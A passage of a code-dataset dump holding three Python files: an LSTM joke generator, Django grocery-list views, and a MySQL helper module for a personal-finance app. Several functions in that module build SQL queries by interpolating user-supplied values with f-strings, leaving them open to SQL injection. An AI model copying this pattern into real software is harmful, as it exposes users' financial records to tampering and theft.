"controls.postgis_controls.enums.Rule", "line_number": 103, "usage_type": "name"}, {"api_name": "controls.commons_controls.file.FileManagerError", "line_number": 104, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 111, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 113, "usage_type": "call"}, {"api_name": "controls.commons_controls.time.get_str_time", "line_number": 113, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 114, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 116, "usage_type": "call"}, {"api_name": "controls.postgis_controls.pgdb.PGDBManager", "line_number": 137, "usage_type": "call"}, {"api_name": "controls.postgis_controls.pgdb.PGDBConnection", "line_number": 138, "usage_type": "call"}, {"api_name": "controls.postgis_controls.pgdb.PGDBCredentials", "line_number": 139, "usage_type": "call"}, {"api_name": "controls.postgis_controls.pgdb.PGDBManagerError", "line_number": 142, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 157, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 157, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 158, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 158, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 159, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 159, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 160, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 160, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 161, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 161, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 204, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 204, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 204, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 209, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 209, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 216, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 216, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 217, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 217, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 217, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 222, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 222, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 229, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 229, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 230, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 230, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 230, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 235, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 235, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 242, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 242, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 243, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 243, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 243, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 248, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 248, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 255, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 255, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 256, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 256, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 268, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 268, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 283, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 283, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 291, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 300, "usage_type": "call"}, {"api_name": "controls.commons_controls.file.read_json_file", "line_number": 301, "usage_type": "call"}, {"api_name": "controls.commons_controls.time.TimeManager", "line_number": 303, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 305, "usage_type": "attribute"}]} {"seq_id": "1871902831", "text": "import os\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchtext\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom code.stage_4_code.Dataset_Loader_Generation import Data_Loader\nfrom code.stage_4_code.RNN_Model_Classification import LSTM, train\n\n\ndef generate_text(model, word2index, index2word, seed_sequence, max_length=20, randomness=1.0, k=30):\n model.eval()\n with torch.no_grad():\n input_sequence = seed_sequence.copy()\n for i in range(max_length):\n input_tensor = torch.LongTensor([word2index[w] for w in input_sequence[-sequence_length:]])\n input_tensor = input_tensor.unsqueeze(0).to(device) # Turn into list of encoded ints\n output = model(input_tensor)\n logits = output.squeeze() / randomness # randomness, else it will predict already known jokes\n # probs = nn.functional.gumbel_softmax(logits, tau=randomness, dim=-1)\n # probs = nn.functional.softmax(logits, dim=-1)\n probs = nn.functional.gumbel_softmax(logits, tau=randomness, dim=-1)\n\n top_k_probs, top_k_indices = torch.topk(probs, k) # Topk frequent words for better randomization\n top_k_probs = top_k_probs / top_k_probs.sum() # Normalize probabilities\n word_idx = torch.multinomial(top_k_probs, 1).item()\n\n word = index2word[top_k_indices[word_idx]]\n input_sequence.append(word)\n if word == '':\n break\n return ' '.join(input_sequence)\n\n\nif 1:\n sequence_length = 3\n # Returns encoded and padded dataset\n train_data, vocab = Data_Loader(sequence_length).run()\n word2index = vocab.get_stoi()\n index2word = vocab.get_itos()\n\n input_sequences = []\n target_sequences = []\n for joke in train_data:\n for i in range(len(joke) - sequence_length):\n input_seq = joke[i:i + sequence_length]\n target_seq = joke[i + sequence_length]\n input_sequences.append(input_seq)\n target_sequences.append(target_seq)\n\n # Model Parameters\n batch_size = 32\n vocab_size = len(vocab)\n embedding_dim = 100 # GloVe: 50 100 200 300\n hidden_dim = 300\n output_dim = len(vocab)\n layers = 2\n bidirectional = True\n dropout_rate = 0.5\n\n # Initialize Dataloaders for ease of batching\n train_data = TensorDataset(torch.LongTensor(input_sequences), torch.LongTensor(target_sequences))\n train_dataloader = DataLoader(train_data, batch_size=batch_size, shuffle=True)\n\n # Initialize Model\n model = LSTM(vocab_size, embedding_dim, hidden_dim, output_dim, layers, bidirectional, dropout_rate)\n\n # Embed the vectors\n vectors = torchtext.vocab.GloVe(name=\"6B\", dim=embedding_dim)\n pretrained_embedding = vectors.get_vecs_by_tokens(vocab.get_itos())\n model.embedding.weight.data = pretrained_embedding\n\n # Model Hyperparameters\n loadSavedModel = False\n model_name = \"LSTM\"\n epochs = 60\n lr = 0.005\n # loss functions: CrossEntropyLoss BCEWithLogitsLoss BCELoss\n loss_function = nn.CrossEntropyLoss()\n # optimizers: Adam SparseAdam Adamax ASGD NAdam RAdam SGD Adadelta Adagrad\n optimizer = optim.Adam(model.parameters(), lr=lr)\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = model.to(device)\n loss_function = loss_function.to(device)\n\n print(\"===TRAINING===\")\n if loadSavedModel == False:\n losses, accuracies, precisions, F1_scores, recalls = train(epochs, train_dataloader, model,\n loss_function, optimizer, device)\n print(\"===TRAINING END===\")\n\n if loadSavedModel == False:\n model_path = \"joke_generator.pt\"\n torch.save(model.state_dict(), model_path)\n else:\n model_path = \"joke_generator.pt\"\n if os.path.exists(model_path):\n model.load_state_dict(torch.load(model_path))\n\n # Generate text using the trained model\n saved_jokes = []\n prompts = [\"what do you\"]\n for prompt in prompts:\n saved_jokes.append(\"===========PROMPT===========\")\n saved_jokes.append(prompt)\n for i in range(20):\n generated_text = generate_text(model, word2index, index2word, prompt.split(), max_length=40,\n randomness=1.7, k=40)\n print(generated_text)\n saved_jokes.append(generated_text)\n\n with open('jokes.txt', 'w') as f:\n f.writelines([line + '\\n' for line in saved_jokes])", "repo_name": "LILPUMPSDAD/Deep-Learning-Projects", "sub_path": "script/stage_4_script/RNN_Generation.py", "file_name": "RNN_Generation.py", "file_ext": "py", "file_size_in_byte": 4589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.no_grad", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn.functional.gumbel_softmax", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.topk", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.multinomial", "line_number": 28, "usage_type": "call"}, {"api_name": "code.stage_4_code.Dataset_Loader_Generation.Data_Loader", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 65, "usage_type": "call"}, {"api_name": "code.stage_4_code.RNN_Model_Classification.LSTM", "line_number": 68, "usage_type": "call"}, {"api_name": "torchtext.vocab.GloVe", "line_number": 71, "usage_type": "call"}, {"api_name": "torchtext.vocab", "line_number": 71, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 84, "usage_type": "attribute"}, {"api_name": "code.stage_4_code.RNN_Model_Classification.train", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 100, "usage_type": "call"}]} {"seq_id": "1808451258", "text": "from unicodedata import name\nfrom django.shortcuts import render\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404, redirect, render, get_list_or_404\nfrom django.utils import timezone\n\nfrom .models import GroceryList\n\n# Create your views here.\n\n\ndef index(request):\n grocery_items = GroceryList.objects.all()\n context = {\n 'items':grocery_items\n }\n return render(request, 'index.html', context) #needs work\n\ndef about(request):\n return HttpResponse(\"Fake About Stuff\")\n\ndef complete(request, item_id):\n\n i = get_object_or_404(GroceryList, id=item_id) #uses django error conditional\n\n if i.is_complete == False:\n i.is_complete = True\n else:\n i.is_complete = False\n\n i.comp_date = timezone.now()\n i.save()\n\n return redirect('/grocery_list/')\n\n # i = GroceryList.objects.get(id=item_id) #needs error conditional\n\ndef delete(request, item_id):\n i = get_object_or_404(GroceryList, id=item_id)\n i.delete()\n\n return redirect('/grocery_list/')\n\ndef add(request):\n\n if request.method == 'POST':\n item_name = request.POST['add_item']\n if item_name != '':\n GroceryList.objects.create(name=item_name)\n else:\n print('empty space')\n\n return redirect('/grocery_list/')\n\ndef description(request, item_id):\n i = get_object_or_404(GroceryList, id=item_id)\n \n if request.method == 'POST':\n i.description = request.POST['add_desc']\n i.save()\n\n return redirect('/grocery_list/')\n", "repo_name": "PdxCodeGuild/class_orchid", "sub_path": "code/jordyn/django/lab01/grocery_list/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.GroceryList.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "models.GroceryList.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.GroceryList", "line_number": 14, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 25, "usage_type": "call"}, {"api_name": "models.GroceryList", "line_number": 25, "usage_type": "argument"}, {"api_name": "django.utils.timezone.now", "line_number": 32, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 40, "usage_type": "call"}, {"api_name": "models.GroceryList", "line_number": 40, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 43, "usage_type": "call"}, {"api_name": "models.GroceryList.objects.create", "line_number": 50, "usage_type": "call"}, {"api_name": "models.GroceryList.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.GroceryList", "line_number": 50, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 54, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 57, "usage_type": "call"}, {"api_name": "models.GroceryList", "line_number": 57, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 63, "usage_type": "call"}]} {"seq_id": "5833345054", "text": "import mysql.connector\nfrom datetime import date, datetime, timedelta\nimport os\nfrom dotenv import load_dotenv\nfrom mysql.connector import pooling\n\nload_dotenv()\n\ndb_pool = pooling.MySQLConnectionPool(\n pool_name=\"my_pool\",\n pool_size=20,\n host=os.getenv(\"DB_HOST\"),\n user=os.getenv(\"DB_USER\"),\n password=os.getenv(\"DB_PASS\"),\n database=\"finalyze\"\n)\n\ndef db_insert_prepared(query, values):\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor(prepared=True)\n mycursor.execute(query, values)\n mydb.commit()\n mycursor.close()\n mydb.close()\n return 'ok'\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n mydb.close()\n return error\n\n\ndef db_select(query, values):\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor(prepared=True)\n mycursor.execute(query, values)\n myresult = mycursor.fetchall()\n mycursor.close()\n mydb.close()\n return myresult\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n mydb.close()\n return error\n\n\ndef get_file_names(user, stttype):\n\n query = \"SELECT * FROM data WHERE name = %s and statement_type = %s\"\n values = (user, stttype)\n result = db_select(query, values)\n\n file = []\n for x in result:\n file.append(x[2])\n\n return file\n\ndef insertcat(userinp, details, fuliza_dets, online_dets, user, sttype):\n currdate = date.today()\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor()\n # Prepare the SQL statement with placeholders\n sql = \"INSERT INTO usermodel (name, details, category, date_added, statement_type) VALUES (%s, %s, %s, %s, %s)\"\n\n # Prepare the values to be inserted\n values = [\n (user, details, userinp, currdate, sttype),\n (user, fuliza_dets, userinp, currdate, sttype)\n ]\n\n if online_dets:\n values.append((user, online_dets, userinp, currdate, sttype))\n\n # Execute the prepared statement with values\n cursor = mydb.cursor(prepared=True)\n cursor.executemany(sql, values)\n mydb.commit()\n\n jibu = []\n mycursor.execute(\n \"SELECT * FROM usermodel where statement_type = 'mpesa'\")\n myresult = mycursor.fetchall()\n for x in myresult:\n jibu.append(x[2])\n mycursor.close()\n mydb.close()\n return jibu\n\n except mysql.connector.Error as error:\n mydb.close()\n print(\"Error: {}\".format(error))\n\n\ndef insertmpesacosts(details, user):\n userinp = 'Mpesa Transcation Costs'\n currdate = date.today()\n sttype = 'mpesa'\n query = \"INSERT INTO usermodel (name, details, category, date_added, statement_type) VALUES (%s, %s, %s, %s, %s)\"\n values = (user, details, userinp, currdate, sttype)\n res = db_insert_prepared(query, values)\n return res\n\n\ndef insertcoopcat(userinp, details, user, sttype):\n currdate = date.today()\n\n try:\n sql = \"INSERT INTO usermodel (name, details, category, date_added, statement_type) VALUES (%s, %s, %s, %s, %s)\"\n\n values = (user, details, userinp, currdate, sttype)\n db_insert_prepared(sql, values)\n\n jibu = []\n query = \"SELECT * FROM usermodel where statement_type = %s\"\n val = (sttype,)\n\n myresult = db_select(query, val)\n for x in myresult:\n jibu.append(x[2])\n return jibu\n\n except:\n print('error')\n\n\ndef checkcat(details, user):\n sttype = 'mpesa'\n sql = f\"SELECT * FROM usermodel where name = %s and details = %s and statement_type = %s\"\n values = (user, details, sttype)\n myresult = db_select(sql, values)\n jibu = []\n for x in myresult:\n jibu.append(x[2])\n return jibu\n\n\ndef checkcoopcat(details, user):\n sttype = 'coop'\n jibu = []\n sql = f\"SELECT * FROM usermodel where name = %s and details = %s and statement_type = %s\"\n values = (user, details, sttype)\n myresult = db_select(sql, values)\n jibu = []\n for x in myresult:\n jibu.append(x[2])\n return jibu\n\n\ndef checkequitycat(details, user):\n sttype = 'equity'\n sql = f\"SELECT * FROM usermodel where name = %s and details = %s and statement_type = %s\"\n values = (user, details, sttype)\n res = db_select(sql, values)\n jibu = []\n if res:\n for x in res:\n jibu.append(x[2])\n return jibu\n else:\n return 'error'\n\n\ndef getcat(user, stttype):\n sql = f\"SELECT * FROM usermodel where name = %s and statement_type = %s\"\n val = (user, stttype)\n result = db_select(sql, val)\n final_res = []\n for x in result:\n obj = {\n 'details': x[2],\n 'category': x[3],\n }\n final_res.append(obj)\n return final_res\n\n\ndef editcategory(userinp, details, user, sttype, newbudget):\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor(prepared=True)\n # Prepare the SQL statement with placeholders\n sql = f\"UPDATE usermodel SET category = %s WHERE details = '{details}' and name = '{user}' and statement_type = '{sttype}'\"\n val = (userinp,)\n # Execute the prepared statement with values\n mycursor.execute(sql, val)\n mydb.commit()\n if newbudget:\n sqlbudget = f\"UPDATE usermodel SET budget = %s WHERE category = '{userinp}' and name = '{user}' and statement_type = '{sttype}'\"\n mycursor.execute(sqlbudget, (newbudget,))\n mydb.commit()\n else:\n print('no budget')\n jibu = []\n mycursor.execute(\n f\"SELECT * FROM usermodel where statement_type = '{sttype}' and name = '{user}'\")\n myresult = mycursor.fetchall()\n # close the cursor and database connection\n mycursor.close()\n mydb.close()\n return myresult\n except mysql.connector.Error as error:\n mydb.close()\n print(\"Error: {}\".format(error))\n\n\ndef deletecat(details, user, sttype):\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor()\n sql = f\"DELETE FROM usermodel WHERE details = '{details}' and name = '{user}' and statement_type = '{sttype}'\"\n mycursor.execute(sql)\n mydb.commit()\n\n jibu = []\n mycursor.execute(f\"SELECT * FROM usermodel where name = '{user}'\")\n myresult = mycursor.fetchall()\n return myresult\n mycursor.close()\n mydb.close()\n except mysql.connector.Error as error:\n mydb.close()\n print(\"Error: {}\".format(error))\n\n\ndef updatebudget(user, budget, category, sttype, priority):\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor(prepared=True)\n if priority:\n if budget:\n sql = f\"UPDATE usermodel SET budget = %s, priority = %s WHERE category = '{category}' and name = '{user}'\"\n val = (budget, priority)\n mycursor.execute(sql, val)\n mydb.commit()\n else:\n sql = f\"UPDATE usermodel SET priority = %s WHERE category = '{category}' and name = '{user}'\"\n val = (priority,)\n mycursor.execute(sql, val)\n mydb.commit()\n else:\n sql = f\"UPDATE usermodel SET budget = %s WHERE category = '{category}' and name = '{user}'\"\n val = (budget,)\n mycursor.execute(sql, val)\n mydb.commit()\n # get response\n print(mycursor.rowcount, \"record(s) affected\")\n\n jibu = []\n mycursor.execute(\n f\"SELECT * FROM usermodel where statement_type = '{sttype}' and name = '{user}'\")\n myresult = mycursor.fetchall()\n mycursor.close()\n mydb.close()\n return myresult\n except mysql.connector.Error as error:\n mydb.close()\n print(\"Error: {}\".format(error))\n\n\ndef getbudget(user, cat):\n try:\n sql = f\"SELECT * FROM usermodel where name = %s and category = %s\"\n val = (user, cat)\n myresult = db_select(sql, val)\n # return only one value\n return myresult[0][6]\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n\n\ndef getlateststatement(user):\n try:\n sql = f\"SELECT * FROM data where name = %s\"\n val = (user,)\n myresult = db_select(sql, val)\n print(myresult)\n currdate = date.today()\n # check date and get that curr date is greater than date in db by one month\n for x in myresult:\n startdate = x[3].split(' ')[0]\n enddate = x[3].split(' ')[2]\n # if startdate is only 2 digits change object\n\n if len(startdate) == 2:\n date_str = f\"{x[3].split(' ')[0]} {x[3].split(' ')[1]} {x[3].split(' ')[2]}\"\n enddatestr = f\"{x[3].split(' ')[4]} {x[3].split(' ')[5]} {x[3].split(' ')[6]}\"\n startdate = datetime.strptime(\n date_str, '%d %B %Y').strftime('%Y-%m-%d')\n enddate = datetime.strptime(\n enddatestr, '%d %B %Y').strftime('%Y-%m-%d')\n\n dateobj = datetime.strptime(startdate, '%Y-%m-%d').date()\n enddateobj = datetime.strptime(enddate, '%Y-%m-%d').date()\n # first check that the two dates are less than 35 days apart\n if enddateobj - dateobj > timedelta(days=40):\n print('statement too big', x, enddateobj - dateobj)\n pass\n # check that end date is not older than 32 days\n diff = currdate - enddateobj\n print(diff, x)\n if diff < timedelta(days=32):\n print('found statement')\n return x[2], x[5]\n else:\n pass\n return 'no statement'\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n\n\ndef checkcoopfiledaterange(user, file, date):\n sttype = 'coop'\n try:\n mydb = db_pool.get_connection()\n mycursor = mydb.cursor()\n jibu = []\n mycursor.execute(\n f\"SELECT * FROM data where statement_type = '{sttype}' and name = '{user}' and pdf_name = '{file}'\")\n myresult = mycursor.fetchall()\n if myresult[0][3] == None:\n # insert date\n sql = f\"UPDATE data SET date = '{date}' WHERE statement_type = '{sttype}' and name = '{user}' and pdf_name = '{file}'\"\n mycursor.execute(sql)\n mydb.commit()\n return 'ok'\n else:\n return 'already inserted'\n mycursor.close()\n mydb.close()\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n\n\ndef checkequityfiledaterange(user, file, date):\n sttype = 'equity'\n sql = f\"SELECT * FROM data where statement_type = %s and name = %s and pdf_name = %s\"\n val = (sttype, user, file)\n dbreq = db_select(sql, val)\n if dbreq[0][3] == None:\n # insert date\n sql = f\"UPDATE data SET date = %s WHERE statement_type = %s and name = %s and pdf_name = %s\"\n val = (date, sttype, user, file)\n db_insert_prepared(sql, val)\n return 'ok'\n else:\n return 'already inserted'\n \n\n\ndef getallcategories(user):\n sql = f\"SELECT * FROM usermodel where name = %s\"\n val = (user,)\n result = db_select(sql, val)\n return result\n\n\ndef checkcoopcosts(user):\n sttype = 'coop'\n try:\n sql = f\"SELECT * FROM usermodel where name = %s and statement_type = %s\"\n val = (user, sttype)\n myresult = db_select(sql, val)\n jibu = []\n for x in myresult:\n jibu.append(x[2])\n return jibu\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n return 'Error'\n\n\ndef checkequitycosts(user):\n sttype = 'equity'\n query = f\"SELECT * FROM usermodel where name = %s and statement_type = %s\"\n val = (user, sttype)\n dbreq = db_select(query, val)\n jibu = []\n for x in dbreq:\n jibu.append(x[2])\n return jibu\n\n\ndef insertcooptcosts(user, details):\n currdate = date.today()\n statement_type = 'coop'\n userinp = 'Transcation Costs'\n\n mydb = db_pool.get_connection()\n try:\n mycursor = mydb.cursor()\n sql = \"INSERT INTO usermodel (name, details, category, date_added, statement_type) VALUES (%s, %s, %s, %s, %s)\"\n\n values = (user, details, userinp, currdate, statement_type)\n\n cursor = mydb.cursor(prepared=True)\n cursor.execute(sql, values)\n mydb.commit()\n jibu = []\n mycursor.execute(\n f\"SELECT * FROM usermodel where name = '{user}' and statement_type = '{statement_type}'\")\n myresult = mycursor.fetchall()\n for x in myresult:\n jibu.append(x[2])\n mycursor.close()\n mydb.close()\n return jibu\n\n except mysql.connector.Error as error:\n mydb.close()\n print(\"Error: {}\".format(error))\n\n\ndef addequitycosts(user, details):\n currdate = date.today()\n statement_type = 'equity'\n userinp = 'Transcation Costs'\n\n query = \"INSERT INTO usermodel (name, details, category, date_added, statement_type) VALUES (%s, %s, %s, %s, %s)\"\n val = (user, details, userinp, currdate, statement_type)\n try:\n db_insert_prepared(query, val)\n return 'ok'\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n return 'Error', error\n\n\ndef update_last_sync(user, date):\n try:\n sql = f\"UPDATE data SET last_synced = %s WHERE name = %s\"\n val = (date, user)\n db_insert_prepared(sql, val)\n return 'ok'\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n return 'Error', error\n\ndef check_last_sync(user):\n try:\n sql = f\"SELECT * FROM data WHERE name = %s\"\n val = (user,)\n dbreq = db_select(sql, val)\n return dbreq[0][6]\n except mysql.connector.Error as error:\n print(\"Error: {}\".format(error))\n return 'Error', error", "repo_name": "MartinNz0m0/finalyze_backend", "sub_path": "dbquery.py", "file_name": "dbquery.py", "file_ext": "py", "file_size_in_byte": 14071, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 7, "usage_type": "call"}, {"api_name": "mysql.connector.pooling.MySQLConnectionPool", "line_number": 9, "usage_type": "call"}, {"api_name": "mysql.connector.pooling", "line_number": 9, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 14, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 27, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 42, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 42, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 61, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 92, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 92, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 99, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 108, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 108, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 204, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 204, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 223, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 223, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 258, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 258, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 270, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 270, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 280, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 280, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 290, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 290, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 292, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 292, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 295, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 295, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 296, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 296, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 298, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 304, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 310, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 310, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 325, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 333, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 333, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 345, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 370, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 370, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 387, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 387, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 411, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 411, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 417, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 417, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 426, "usage_type": "attribute"}, {"api_name": "mysql.connector", 